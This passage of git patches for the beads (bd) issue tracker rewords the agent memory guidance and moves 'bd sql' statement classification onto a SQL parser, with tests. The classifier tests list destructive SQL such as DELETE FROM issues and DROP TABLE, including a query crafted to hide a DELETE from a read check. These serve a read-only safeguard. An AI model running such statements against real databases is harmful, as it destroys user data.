WHERE i < 3) SELECT * FROM t", Read}, + {"multiple ctes with column lists", "WITH a(x) AS (SELECT 1), b(y) AS (SELECT x FROM a) SELECT y FROM b", Read}, + {"cte nested parens", "WITH t AS (SELECT (1 + (2 * 3)) AS n) SELECT n FROM t", Read}, + {"cte keywords in literal", "WITH t AS (SELECT ') DELETE FROM issues' AS s) SELECT s FROM t", Read}, + {"cte escaped quote in literal", `WITH t AS (SELECT 'a\'(' AS s) SELECT s FROM t`, Read}, + {"cte comment with keywords", "WITH t AS (SELECT 1 AS n /* ) DELETE */) SELECT n FROM t", Read}, + {"cte union main", "WITH t(n) AS (SELECT 1) SELECT n FROM t UNION SELECT 2", Read}, + + // CTE writes must stay writes: a read transaction is rolled back. + {"cte delete", "WITH t AS (SELECT id FROM issues) DELETE FROM issues WHERE id IN (SELECT id FROM t)", Write}, + {"cte column list update", "WITH t(i) AS (SELECT id FROM issues) UPDATE issues SET priority = 1 WHERE id IN (SELECT i FROM t)", Write}, + {"recursive cte delete", "WITH RECURSIVE t(i) AS (SELECT 1 UNION ALL SELECT i + 1 FROM t WHERE i < 3) DELETE FROM issues WHERE priority IN (SELECT i FROM t)", Write}, + {"cte escaped quote hides delete", `WITH t AS (SELECT 'a\'(' AS x) DELETE FROM issues`, Write}, + {"insert select with cte", "INSERT INTO labels (issue_id, label) WITH t AS (SELECT id FROM issues) SELECT id, 'x' FROM t", Write}, + + {"insert", "INSERT INTO labels (issue_id, label) VALUES ('a', 'b')", Write}, + {"replace", "REPLACE INTO labels (issue_id, label) VALUES ('a', 'b')", Write}, + {"update", "UPDATE issues SET priority = 1", Write}, + {"delete", "DELETE FROM issues", Write}, + {"create table", "CREATE TABLE x (id INT PRIMARY KEY)", Write}, + {"alter table", "ALTER TABLE issues ADD COLUMN x INT", Write}, + {"drop table", "DROP TABLE x", Write}, + {"set", "SET @x = 1", Write}, + {"select into variable", "SELECT 1 INTO @x", Write}, + + // Statements that may write AND return rows, or that the parser + // cannot classify, must run in a committing transaction that still + // renders any result set. + {"call", "CALL DOLT_COMMIT('-Am', 'msg')", Mixed}, + {"explain analyze delete", "EXPLAIN ANALYZE DELETE FROM issues", Mixed}, + {"unparseable", "PRAGMA table_info(issues)", Mixed}, + {"garbage", "NOT SQL AT ALL (", Mixed}, + {"empty", "", Mixed}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + if got := Classify(tc.query); got != tc.want { + t.Errorf("Classify(%q) = %v, want %v", tc.query, got, tc.want) + } + }) + } +} From 8870c6866d032b8bf36d2ca1e8ddd55898b5c7d4 Mon Sep 17 00:00:00 2001 From: seanmartinsmith <114885497+seanmartinsmith@users.noreply.github.com> Date: Tue, 29 Sep 2026 04:23:19 -0400 Subject: [PATCH 216/624] fix(prime): describe the memory split instead of prohibiting MEMORY.md (#6111) * fix(prime): describe the memory split instead of prohibiting MEMORY.md The memory guidance predates harness-native auto memory, whose index file is also named MEMORY.md and is machine-local rather than the multi-account fragmentation case the line was written against. As written it tells agents to file per-operator content in the shared, replicated store - the one place it does not belong. Rewrite the four renderings of that sentence to describe the split the two stores actually have: durable project facts in `bd remember`, per-operator preferences in the harness's own memory. The fragmentation warning stays, pointed at the case where it is true. Refs #5169 Executed-By: pc * fix(prime): bring the codex template in line, add CHANGELOG entry Review on #6111 found a fifth rendering of the prohibition: internal/templates/agents/defaults/beads-section-codex.md:19 says "do not create ad hoc memory files" without the literal MEMORY.md, so the grep that scoped the first commit missed it. It ships through bd init for the codex harness, the same re-introduction path the minimal template was included for. Reword it to the same split. Add the CHANGELOG entry under Unreleased / Changed, matching #6011. Refs #5169 Executed-By: mac * fix(prime): pin the memory-guidance invariant, drop the storage claim Maintainer review fixes for the adoption of #6111, iteration 1. Both items are non-gating (scorecard 981/approve, no blocker or major); they are taken because the rebased branch needs a maintainer push either way. Test Evidence Quality (minor): nothing asserted that the four renderings had stopped prohibiting the harness's own MEMORY.md. The only pin on these bodies was a presence check for `bd remember`, which passed identically before and after the rewording, so re-introducing the prohibition at any one site would have left every test green. Added negative assertions to TestRenderSectionMinimal and TestCodexSectionBody, plus TestPrimeMemoryGuidanceDoesNotProhibitHarnessMemory covering both the CLI and MCP renderings. Asserting the absence of the old prohibition, rather than pinning the new prose, keeps the guard valid under any future rewording. The review prescribed `!strings.Contains(body, "MEMORY.md")` at every site. That is vacuous for the Codex body, which spelled its prohibition "do not create ad hoc memory files" and never named the file (0 occurrences at ae1a493e0), so that site asserts both spellings. Measured, not assumed: restoring all three rendered surfaces to their upstream-base blobs reds exactly the new assertions -- templates 31 PASS / 2 FAIL, the Codex failure on "ad hoc memory files" and not on MEMORY.md, and both subtests of the prime pin -- while every incumbent stays green. That same revert was fully green before this commit. Debuggability (nit): the full rendering ended "they aren't project knowledge and beads doesn't store them", which states a capability (`bd remember` will in fact persist any string handed to it) rather than the intended policy, and was the odd one out among the four surfaces. Reworded to "so keep them out of beads" rather than the suggested "so don't put them here": in the rendered text "here" has no antecedent, and the nearest location named is the harness's own memory, which would invert the sentence. Validation: gofmt clean, go build ./... exit 0, go vet clean on both packages, golangci-lint 2.10.1 reports 0 issues, internal/templates/agents 33P/0F/0S, prime run-set green. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5 --- CHANGELOG.md | 16 ++++++++ README.md | 2 +- cmd/bd/prime.go | 4 +- cmd/bd/prime_test.go | 38 +++++++++++++++++++ .../agents/defaults/beads-section-codex.md | 2 +- .../agents/defaults/beads-section-minimal.md | 2 +- internal/templates/agents/render_test.go | 22 +++++++++++ 7 files changed, 81 insertions(+), 5 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 9475b0bed..f176495a5 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -400,6 +400,22 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Changed +- **`bd prime` describes the memory split instead of prohibiting `MEMORY.md`** + ([#6111](https://github.com/gastownhall/beads/pull/6111), refs + [#5169](https://github.com/gastownhall/beads/issues/5169)). The guidance + line used to read `Do NOT use MEMORY.md files — they fragment across + accounts`. That warning predates harnesses that ship a first-party, + machine-local memory whose index file is also named `MEMORY.md`, so in a + workspace running both, prime told the agent every session not to use a file + the harness was actively maintaining. The line now says what each store is + for: durable **project** facts go in `bd remember`, because per-tool memory + files fragment across accounts; per-operator preferences stay in the + harness's own memory. Output text only, no behaviour change. The same + sentence is updated in its sibling renderings — the MCP/minimal context, the + generated AGENTS.md sections for the minimal and Codex harness templates, + and the README snippet — so `bd init` and copy-paste do not re-introduce the + prohibition. + - **`bd purge` keeps closed beads a live bead depends on.** A closed bead that a not-done bead depends on through `parent-child`, `tracks` or `blocks` is no longer purged (reported as `live_dependent_skipped`), so a diff --git a/README.md b/README.md index 025cdc3e4..6bc34354f 100644 --- a/README.md +++ b/README.md @@ -53,7 +53,7 @@ This project uses bd (beads) for issue tracking. - Run `bd prime` for workflow context and command guidance. - Use `bd ready`, `bd show `, `bd update --claim`, and `bd close `. -- Use `bd remember "insight"` for persistent project memory; do not create MEMORY.md files. +- Use `bd remember "insight"` for durable project facts; keep per-operator preferences in your harness's own memory. - Do not use markdown TODO lists for task tracking. ``` diff --git a/cmd/bd/prime.go b/cmd/bd/prime.go index 0e7c45516..bccb85bd9 100644 --- a/cmd/bd/prime.go +++ b/cmd/bd/prime.go @@ -782,7 +782,7 @@ func outputMCPContext(w io.Writer, stealthMode bool) error { - **Default**: Use beads for ALL task tracking (` + "`bd create`" + `, ` + "`bd ready`" + `, ` + "`bd close`" + `) - **Prohibited**: Do NOT use TodoWrite, TaskCreate, or markdown files for task tracking - **Workflow**: Create beads issue BEFORE writing code, mark in_progress when starting -- **Memory**: Use ` + "`bd remember`" + ` for persistent knowledge. Do NOT use MEMORY.md files. +- **Memory**: Use ` + "`bd remember`" + ` for durable project facts, not per-tool memory files. Per-operator preferences belong in your harness's own memory. - Persistence you don't need beats lost context - ` + profileRule + ` @@ -976,7 +976,7 @@ git status # Check changed files - **Default**: Use beads for ALL task tracking (` + "`bd create`" + `, ` + "`bd ready`" + `, ` + "`bd close`" + `) - **Prohibited**: Do NOT use TodoWrite, TaskCreate, or markdown files for task tracking - **Workflow**: Create beads issue BEFORE writing code, mark in_progress when starting -- **Memory**: Use ` + "`bd remember \"insight\"`" + ` for persistent knowledge across sessions. Do NOT use MEMORY.md files — they fragment across accounts. Search with ` + "`bd memories `" + `. +- **Memory**: Use ` + "`bd remember \"insight\"`" + ` for durable **project** facts — keep them here rather than in per-tool memory files, which fragment across accounts and are often capped. Per-operator preferences and agent-specific corrections belong in your harness's own memory; they aren't project knowledge, so keep them out of beads. Search with ` + "`bd memories `" + `. - Persistence you don't need beats lost context - ` + profileRule + ` - ` + gitWorkflowRule + ` diff --git a/cmd/bd/prime_test.go b/cmd/bd/prime_test.go index 8c9a33086..34a07defa 100644 --- a/cmd/bd/prime_test.go +++ b/cmd/bd/prime_test.go @@ -397,6 +397,44 @@ func TestPrimeClaimGuidanceUsesAtomicClaim(t *testing.T) { } } +// TestPrimeMemoryGuidanceDoesNotProhibitHarnessMemory guards GH#6111: both +// renderings used to emit "Do NOT use MEMORY.md files", which contradicts +// harnesses that ship a first-party memory whose index file has exactly that +// name. The guidance now names the store each content class belongs in, so +// neither rendering may name the file again. The assertion is negative on the +// old prohibition rather than positive on the new prose, so it survives any +// future rewording; the bd remember check keeps it from passing vacuously if +// the memory bullet is dropped altogether. +func TestPrimeMemoryGuidanceDoesNotProhibitHarnessMemory(t *testing.T) { + defer stubPrimeStoreUnavailable()() + defer stubIsEphemeralBranch(false)() + defer stubPrimeHasGitRemote(true)() + defer stubPrimeAgentProfile(config.ProfileConservative)() + + for _, tc := range []struct { + name string + mcpMode bool + }{ + {name: "CLI", mcpMode: false}, + {name: "MCP", mcpMode: true}, + } { + t.Run(tc.name, func(t *testing.T) { + var buf bytes.Buffer + if err := outputPrimeContext(&buf, tc.mcpMode, false); err != nil { + t.Fatalf("outputPrimeContext failed: %v", err) + } + + output := buf.String() + if !strings.Contains(output, "bd remember") { + t.Fatalf("prime output should still teach bd remember; output:\n%s", output) + } + if strings.Contains(output, "MEMORY.md") { + t.Errorf("prime output should not name MEMORY.md; output:\n%s", output) + } + }) + } +} + func TestPrimeStartsWithTruncationDirective(t *testing.T) { defer stubPrimeStoreUnavailable()() defer stubIsEphemeralBranch(false)() diff --git a/internal/templates/agents/defaults/beads-section-codex.md b/internal/templates/agents/defaults/beads-section-codex.md index a5a2d7cd5..28b75bf28 100644 --- a/internal/templates/agents/defaults/beads-section-codex.md +++ b/internal/templates/agents/defaults/beads-section-codex.md @@ -16,6 +16,6 @@ bd prime # Refresh Beads context - Use `bd` for all task tracking; do not create markdown TODO lists. - Run `bd prime` when Beads context is missing or stale. Codex 0.129.0+ can load Beads context automatically through native hooks; use `/hooks` to inspect or toggle them. -- Keep persistent project memory in Beads via `bd remember`; do not create ad hoc memory files. +- Keep durable project facts in Beads via `bd remember` rather than in per-tool memory files, which fragment across accounts; per-operator preferences belong in your harness's own memory. **Architecture in one line:** issues live in a local Dolt DB; sync uses `refs/dolt/data` on your git remote; `.beads/issues.jsonl` is a passive export. See https://github.com/gastownhall/beads/blob/main/docs/core-concepts/sync-concepts.md for details and anti-patterns. diff --git a/internal/templates/agents/defaults/beads-section-minimal.md b/internal/templates/agents/defaults/beads-section-minimal.md index 26fc94af2..f7292a5bb 100644 --- a/internal/templates/agents/defaults/beads-section-minimal.md +++ b/internal/templates/agents/defaults/beads-section-minimal.md @@ -15,7 +15,7 @@ bd close # Complete work - Use `bd` for ALL task tracking — do NOT use TodoWrite, TaskCreate, or markdown TODO lists - Run `bd prime` for detailed command reference and session close protocol -- Use `bd remember` for persistent knowledge — do NOT use MEMORY.md files +- Use `bd remember` for durable project facts — not per-tool memory files, which fragment across accounts; keep per-operator preferences in your harness's own memory **Architecture in one line:** issues live in a local Dolt DB; sync uses `refs/dolt/data` on your git remote; `.beads/issues.jsonl` is a passive export. See https://github.com/gastownhall/beads/blob/main/docs/core-concepts/sync-concepts.md for details and anti-patterns. diff --git a/internal/templates/agents/render_test.go b/internal/templates/agents/render_test.go index 40f5e1320..6df83564c 100644 --- a/internal/templates/agents/render_test.go +++ b/internal/templates/agents/render_test.go @@ -123,6 +123,18 @@ func TestRenderSectionMinimal(t *testing.T) { if strings.Contains(section, "### Priorities") { t.Error("minimal profile should not contain full priorities section") } + + // GH#6111: the memory bullet says which store each content class belongs + // in instead of prohibiting MEMORY.md, because harnesses ship a + // first-party memory whose index file has exactly that name. Assert the + // prohibition's absence rather than the replacement prose, so the pin + // survives any future rewording of the sentence. + if !strings.Contains(section, "bd remember") { + t.Error("minimal profile should still teach bd remember") + } + if strings.Contains(section, "MEMORY.md") { + t.Error("minimal profile should not name MEMORY.md") + } } func TestCodexSectionBody(t *testing.T) { @@ -146,6 +158,16 @@ func TestCodexSectionBody(t *testing.T) { if strings.Contains(body, "BEGIN BEADS") || strings.Contains(body, "END BEADS") { t.Error("CodexSectionBody should not include managed markers") } + + // GH#6111, as above: the memory bullet describes the split instead of + // banning per-tool memory files. This body spelled its prohibition "ad hoc + // memory files" and never named MEMORY.md, so checking only the file name + // would assert nothing about what this surface used to emit. + for _, unwanted := range []string{"MEMORY.md", "ad hoc memory files"} { + if strings.Contains(body, unwanted) { + t.Errorf("CodexSectionBody should not prohibit %q", unwanted) + } + } } func TestRenderSectionHashStability(t *testing.T) { From 84e6faaa2d86a94a1482beede8fb7da434d0911a Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 29 Sep 2026 01:08:10 -0700 Subject: [PATCH 217/624] fix(sql): classify bd sql statements with the SQL parser; never drop result sets (#6932) Proxied bd sql misclassified WITH [RECURSIVE] ... SELECT as a write and silently returned no rows; CALL result sets were dropped on both paths. Classify statements with the dolthub/vitess parser (internal/storage/sqlclass: Read/Write/Mixed); Mixed commits and renders any rows, so no path silently drops a result set. Co-Authored-By: Claude Opus 5.5 (cherry picked from commit c4b1cb699df20a6ed41b07e3a0b05dec22c534d7) hand-resolved: CHANGELOG entry placed under the hotfix's [Unreleased] ### Fixed; MODULE.bazel and BUILD.bazel files dropped (no Bazel on hotfix/1.3.1). Go code applied unchanged. --- CHANGELOG.md | 18 +++ cmd/bd/sql.go | 28 +++-- cmd/bd/sql_proxied_integration_test.go | 77 +++++++++++++ cmd/bd/sql_proxied_server.go | 124 +++++++++------------ go.mod | 2 +- internal/storage/sqlclass/sqlclass.go | 88 +++++++++++++++ internal/storage/sqlclass/sqlclass_test.go | 67 +++++++++++ 7 files changed, 320 insertions(+), 84 deletions(-) create mode 100644 internal/storage/sqlclass/sqlclass.go create mode 100644 internal/storage/sqlclass/sqlclass_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 95333335f..dae3513ba 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -126,6 +126,24 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Fixed +- **`bd sql` no longer drops the rows of CTE queries or CALL result sets** + ([#6932](https://github.com/gastownhall/beads/pull/6932)). In proxied-server + mode, `WITH name(cols) AS (...) SELECT ...` and `WITH RECURSIVE ...` queries + were misread as writes and printed `OK, 0 rows affected` with no error; they + now return their rows. Statements are now classified with the Dolt SQL + parser (shared by the proxied and direct paths): reads return rows, plain + writes (including CTE-prefixed `UPDATE`/`DELETE`) commit and report + `rows_affected`, and anything that may both write and return rows (`CALL`, + `EXPLAIN ANALYZE` of a write, `RETURNING`) or that the parser cannot + classify is committed and prints whatever rows it returns, so + `CALL DOLT_BRANCH(...)`-style result sets are rendered instead of discarded. + Visible changes for scripts: in direct server mode a multi-statement write, + or a single write statement the parser cannot classify, now prints `OK` / + `{"status":"ok"}` (as proxied mode already did) instead of + `OK, N rows affected` / `{"rows_affected":N}`; and `--readonly` now refuses + statements it cannot parse (for example `PRAGMA`) instead of treating them + as reads. + - Unblocking two blockers of one dependent at the same time — closing both, or a close racing a `bd dep remove` or a delete of the other — no longer leaves the dependent stuck as blocked and hidden from `bd ready` until diff --git a/cmd/bd/sql.go b/cmd/bd/sql.go index 366072bc6..34dedfe09 100644 --- a/cmd/bd/sql.go +++ b/cmd/bd/sql.go @@ -9,6 +9,7 @@ import ( "github.com/spf13/cobra" "github.com/steveyegge/beads/internal/metrics" "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/sqlclass" ) var sqlCmd = &cobra.Command{ @@ -25,9 +26,11 @@ Examples: bd sql 'DELETE FROM dirty_issues WHERE issue_id = "bd-abc123"' bd sql --csv 'SELECT id, title, status FROM issues' -The query is passed directly to the database. SELECT queries return results as a -table (or JSON/CSV with --json/--csv). Non-SELECT queries (INSERT, UPDATE, DELETE) -report the number of rows affected. +The query is passed directly to the database. Reads (SELECT, WITH ... SELECT, +SHOW, EXPLAIN) return results as a table (or JSON/CSV with --json/--csv). Writes +(INSERT, UPDATE, DELETE, DDL) report the number of rows affected. Statements +that may both write and return rows, such as CALL, are committed and print any +rows they return (or "OK"). In proxied-server mode, multiple statements separated by ';' run as a single committed batch and report "OK", and --database runs the query against a @@ -71,15 +74,13 @@ WARNING: Direct database access bypasses the storage layer. Use with caution.`, ctx := rootCtx - trimmed := strings.TrimSpace(strings.ToUpper(query)) - isRead := strings.HasPrefix(trimmed, "SELECT") || - strings.HasPrefix(trimmed, "EXPLAIN") || - strings.HasPrefix(trimmed, "PRAGMA") || - strings.HasPrefix(trimmed, "SHOW") || - strings.HasPrefix(trimmed, "DESCRIBE") || - strings.HasPrefix(trimmed, "WITH") - - if isRead { + // Reads and statements that may return rows go through Query so a + // result set is always rendered; only plain writes use Exec. + kind := sqlclass.Classify(query) + if kind != sqlclass.Write { + if kind == sqlclass.Mixed { + CheckReadonly("sql") + } rows, err := db.QueryContext(ctx, query) if err != nil { return HandleErrorRespectJSON("query error: %v", err) @@ -90,6 +91,9 @@ WARNING: Direct database access bypasses the storage layer. Use with caution.`, if err != nil { return HandleErrorRespectJSON("getting columns: %v", err) } + if kind == sqlclass.Mixed && len(columns) == 0 { + return printSQLStatusOK() + } allRows := make([]map[string]interface{}, 0) for rows.Next() { diff --git a/cmd/bd/sql_proxied_integration_test.go b/cmd/bd/sql_proxied_integration_test.go index 89bb6ec0d..6dec9e7f0 100644 --- a/cmd/bd/sql_proxied_integration_test.go +++ b/cmd/bd/sql_proxied_integration_test.go @@ -179,3 +179,80 @@ func sqlValueEquals(v any, want float64) bool { return false } } + +// TestProxiedServerSQLStatementRouting pins how proxied `bd sql` routes +// statements that a prefix scan misreads: CTE reads must return their rows, +// CTE writes must commit, and a statement that writes and returns a result set +// must render that result set instead of reporting "0 rows affected". +func TestProxiedServerSQLStatementRouting(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + p := newSharedProxiedProject(t, bd, "sqlcte") + + one := bdProxiedCreate(t, bd, p.dir, "CTE issue one", "--type", "task", "--priority", "1") + two := bdProxiedCreate(t, bd, p.dir, "CTE issue two", "--type", "task", "--priority", "2") + + t.Run("cte_column_list_select_returns_rows", func(t *testing.T) { + rows := bdProxiedSQLJSON(t, bd, p.dir, + "WITH t(issue_id) AS (SELECT id FROM issues WHERE id = '"+one.ID+"') SELECT issue_id FROM t") + if len(rows) != 1 { + t.Fatalf("expected 1 row, got %d: %v", len(rows), rows) + } + if rows[0]["issue_id"] != one.ID { + t.Errorf("expected issue_id=%q, got %v", one.ID, rows[0]["issue_id"]) + } + }) + + t.Run("recursive_cte_select_returns_rows", func(t *testing.T) { + query := "WITH RECURSIVE n(i) AS (SELECT 1 UNION ALL SELECT i + 1 FROM n WHERE i < 3) SELECT i FROM n" + rows := bdProxiedSQLJSON(t, bd, p.dir, query) + if len(rows) != 3 { + t.Fatalf("expected 3 rows, got %d: %v", len(rows), rows) + } + stdout, _ := bdProxiedSQL(t, bd, p.dir, query) + if !strings.Contains(stdout, "(3 rows)") { + t.Errorf("expected '(3 rows)' in table output, got:\n%s", stdout) + } + }) + + t.Run("cte_write_commits", func(t *testing.T) { + stdout, _ := bdProxiedSQL(t, bd, p.dir, "--json", + "WITH t(issue_id) AS (SELECT id FROM issues WHERE id = '"+two.ID+"') "+ + "UPDATE issues SET priority = 0 WHERE id IN (SELECT issue_id FROM t)") + start := strings.Index(stdout, "{") + if start < 0 { + t.Fatalf("no JSON object in exec output:\n%s", stdout) + } + var res map[string]interface{} + if err := json.Unmarshal([]byte(stdout[start:]), &res); err != nil { + t.Fatalf("parse exec JSON: %v\nraw: %s", err, stdout[start:]) + } + if !sqlValueEquals(res["rows_affected"], 1) { + t.Errorf("expected rows_affected=1, got %v", res["rows_affected"]) + } + + db := openProxiedDB(t, p) + var priority int + if err := db.QueryRow("SELECT priority FROM issues WHERE id = ?", two.ID).Scan(&priority); err != nil { + t.Fatalf("query priority for %s: %v", two.ID, err) + } + if priority != 0 { + t.Errorf("expected committed priority=0, got %d", priority) + } + }) + + t.Run("call_renders_result_set", func(t *testing.T) { + rows := bdProxiedSQLJSON(t, bd, p.dir, "CALL DOLT_BRANCH('sql-routing-probe')") + if len(rows) != 1 { + t.Fatalf("expected the procedure's 1 status row, got %d: %v", len(rows), rows) + } + if _, ok := rows[0]["status"]; !ok { + t.Errorf("expected a status column, got %v", rows[0]) + } + branches := bdProxiedSQLJSON(t, bd, p.dir, "SELECT name FROM dolt_branches WHERE name = 'sql-routing-probe'") + if len(branches) != 1 { + t.Errorf("expected the CALL to have created branch sql-routing-probe, got %v", branches) + } + }) +} diff --git a/cmd/bd/sql_proxied_server.go b/cmd/bd/sql_proxied_server.go index 5e43622df..894c7e37c 100644 --- a/cmd/bd/sql_proxied_server.go +++ b/cmd/bd/sql_proxied_server.go @@ -8,6 +8,7 @@ import ( "strings" "github.com/steveyegge/beads/internal/storage/domain" + "github.com/steveyegge/beads/internal/storage/sqlclass" "github.com/steveyegge/beads/internal/storage/uow" ) @@ -16,9 +17,16 @@ func runSQLProxiedServer(ctx context.Context, query string, csvOutput bool) erro return HandleError("proxied-server UOW provider not initialized") } - multiStatement := isMultiStatementSQL(query) + if isMultiStatementSQL(query) { + CheckReadonly("sql") + if _, err := runSQLProxiedExec(ctx, query); err != nil { + return err + } + return printSQLStatusOK() + } - if !multiStatement && sqlQueryIsRead(query) { + switch sqlclass.Classify(query) { + case sqlclass.Read: result, err := uow.RunTxRead(ctx, uowProvider, func(ctx context.Context, uw uow.UnitOfWork) (*domain.RawSQLResult, error) { return uw.RawSQLUseCase().Query(ctx, query) }) @@ -26,10 +34,45 @@ func runSQLProxiedServer(ctx context.Context, query string, csvOutput bool) erro return HandleErrorRespectJSON("query error: %v", err) } return renderRawSQLResult(result, csvOutput) + + case sqlclass.Write: + CheckReadonly("sql") + affected, err := runSQLProxiedExec(ctx, query) + if err != nil { + return err + } + if jsonOutput { + return outputJSON(map[string]interface{}{ + "rows_affected": affected, + }) + } + fmt.Printf("OK, %d rows affected\n", affected) + return nil + + default: + // The statement may write and may return rows. Run it through Query + // inside a committing transaction so a result set is rendered rather + // than silently discarded, and any write is committed rather than + // rolled back with a read transaction. + CheckReadonly("sql") + result, err := uow.RunTxResult(ctx, uowProvider, func(ctx context.Context, uw uow.UnitOfWork) (*domain.RawSQLResult, string, error) { + result, err := uw.RawSQLUseCase().Query(ctx, query) + if err != nil { + return nil, "", err + } + return result, "bd sql: " + query, nil + }) + if err != nil { + return HandleErrorRespectJSON("query error: %v", err) + } + if len(result.Columns) == 0 { + return printSQLStatusOK() + } + return renderRawSQLResult(result, csvOutput) } +} - CheckReadonly("sql") - +func runSQLProxiedExec(ctx context.Context, query string) (int64, error) { affected, err := uow.RunTxResult(ctx, uowProvider, func(ctx context.Context, uw uow.UnitOfWork) (int64, string, error) { affected, err := uw.RawSQLUseCase().Exec(ctx, query) if err != nil { @@ -38,26 +81,18 @@ func runSQLProxiedServer(ctx context.Context, query string, csvOutput bool) erro return affected, "bd sql: " + query, nil }) if err != nil { - return HandleErrorRespectJSON("exec error: %v", err) - } - - if multiStatement { - if jsonOutput { - return outputJSON(map[string]interface{}{ - "status": "ok", - }) - } - fmt.Println("OK") - return nil + return 0, HandleErrorRespectJSON("exec error: %v", err) } + return affected, nil +} +func printSQLStatusOK() error { if jsonOutput { return outputJSON(map[string]interface{}{ - "rows_affected": affected, + "status": "ok", }) } - - fmt.Printf("OK, %d rows affected\n", affected) + fmt.Println("OK") return nil } @@ -134,59 +169,6 @@ func topLevelStatementCount(query string) int { return count } -func sqlQueryIsRead(query string) bool { - trimmed := strings.TrimSpace(strings.ToUpper(query)) - switch { - case strings.HasPrefix(trimmed, "SELECT"), - strings.HasPrefix(trimmed, "EXPLAIN"), - strings.HasPrefix(trimmed, "PRAGMA"), - strings.HasPrefix(trimmed, "SHOW"), - strings.HasPrefix(trimmed, "DESCRIBE"): - return true - case strings.HasPrefix(trimmed, "WITH"): - return withOuterStatementIsRead(trimmed) - default: - return false - } -} - -func withOuterStatementIsRead(upperTrimmed string) bool { - depth := 0 - var quote byte - closedCTE := false - for i := 0; i < len(upperTrimmed); i++ { - c := upperTrimmed[i] - if quote != 0 { - if c == quote { - quote = 0 - } - continue - } - switch c { - case '\'', '"', '`': - quote = c - case '(': - depth++ - case ')': - depth-- - if depth == 0 { - closedCTE = true - } - case ' ', '\t', '\n', '\r', ',': - if c == ',' && depth == 0 { - closedCTE = false - } - default: - if depth == 0 && closedCTE { - rest := strings.TrimLeft(upperTrimmed[i:], " \t\n\r") - return strings.HasPrefix(rest, "SELECT") || - strings.HasPrefix(rest, "EXPLAIN") - } - } - } - return true -} - func renderRawSQLResult(result *domain.RawSQLResult, csvOutput bool) error { columns := result.Columns diff --git a/go.mod b/go.mod index 85f9a81ad..43870b367 100644 --- a/go.mod +++ b/go.mod @@ -155,7 +155,7 @@ require ( github.com/dolthub/gozstd v0.0.0-20240423170813-23a2903bca63 // indirect github.com/dolthub/ishell v0.0.0-20260414231531-5f031e3e9037 // indirect github.com/dolthub/jsonpath v0.0.2-0.20240227200619-19675ab05c71 // indirect - github.com/dolthub/vitess v0.0.0-20260728212736-0542037326d7 // indirect + github.com/dolthub/vitess v0.0.0-20260728212736-0542037326d7 github.com/dustin/go-humanize v1.0.1 // indirect github.com/ebitengine/purego v0.10.0 // indirect github.com/edsrzf/mmap-go v1.2.0 // indirect diff --git a/internal/storage/sqlclass/sqlclass.go b/internal/storage/sqlclass/sqlclass.go new file mode 100644 index 000000000..1c677e33d --- /dev/null +++ b/internal/storage/sqlclass/sqlclass.go @@ -0,0 +1,88 @@ +// Package sqlclass classifies raw SQL statements for `bd sql` with the same +// MySQL grammar the Dolt server parses, so callers can route a statement to a +// read transaction, a committing exec, or a committing query without prefix +// scanning. +package sqlclass + +import ( + "github.com/dolthub/vitess/go/vt/sqlparser" +) + +// Kind says how a single SQL statement must be executed so that writes are +// committed and result sets are never dropped. +type Kind int + +const ( + // Read changes nothing and returns a result set: run it in a read + // transaction and render its rows. + Read Kind = iota + // Write changes data and returns no result set: execute it in a + // committing transaction and report the rows affected. + Write + // Mixed may change data and may also return a result set (CALL, EXPLAIN + // ANALYZE of a write, RETURNING, or anything the parser cannot classify): + // run it in a committing transaction and render any rows it returns. + Mixed +) + +// String returns the kind's name for test and diagnostic output. +func (k Kind) String() string { + switch k { + case Read: + return "read" + case Write: + return "write" + default: + return "mixed" + } +} + +// Classify classifies a single SQL statement by its main statement, so CTEs +// (WITH [RECURSIVE] name(cols) AS (...)), comments, and string literals that +// contain keywords do not affect the result. Input the parser rejects is +// Mixed: it may still be valid for the server, and Mixed never discards rows +// or rolls back writes. +func Classify(query string) Kind { + stmt, err := sqlparser.Parse(query) + if err != nil || stmt == nil { + return Mixed + } + return classify(stmt) +} + +func classify(stmt sqlparser.Statement) Kind { + switch s := stmt.(type) { + case *sqlparser.Select: + if s.Into != nil { + return Write + } + return Read + case *sqlparser.SetOp, *sqlparser.Show, *sqlparser.OtherRead: + return Read + case *sqlparser.Explain: + if !s.Analyze { + return Read + } + if s.Statement != nil && classify(s.Statement) == Read { + return Read + } + return Mixed + case *sqlparser.Insert: + return writeUnlessReturning(len(s.Returning)) + case *sqlparser.Update: + return writeUnlessReturning(len(s.Returning)) + case *sqlparser.Delete: + return writeUnlessReturning(len(s.Returning)) + case *sqlparser.DDL, *sqlparser.AlterTable, *sqlparser.DBDDL, *sqlparser.Set, *sqlparser.Use: + return Write + default: + return Mixed + } +} + +func writeUnlessReturning(returning int) Kind { + if returning > 0 { + return Mixed + } + return Write +} diff --git a/internal/storage/sqlclass/sqlclass_test.go b/internal/storage/sqlclass/sqlclass_test.go new file mode 100644 index 000000000..4d275c8d8 --- /dev/null +++ b/internal/storage/sqlclass/sqlclass_test.go @@ -0,0 +1,67 @@ +package sqlclass + +import "testing" + +func TestClassify(t *testing.T) { + cases := []struct { + name string + query string + want Kind + }{ + {"select", "SELECT 1", Read}, + {"lowercase select", " select id from issues", Read}, + {"union", "SELECT 1 UNION SELECT 2", Read}, + {"parenthesized union", "(SELECT 1) UNION (SELECT 2)", Read}, + {"show", "SHOW TABLES", Read}, + {"describe", "DESCRIBE issues", Read}, + {"explain select", "EXPLAIN SELECT * FROM issues", Read}, + {"leading block comment", "/* note */ SELECT 1", Read}, + {"leading line comment", "-- note\nSELECT 1", Read}, + + // CTE reads: a prefix scanner that treats the column list after the CTE + // name as the CTE body sees "AS" as the main verb and calls it a write. + {"cte select", "WITH t AS (SELECT 1 AS n) SELECT n FROM t", Read}, + {"cte column list", "WITH t(n) AS (SELECT 1) SELECT n FROM t", Read}, + {"recursive cte column list", "WITH RECURSIVE n(i) AS (SELECT 1 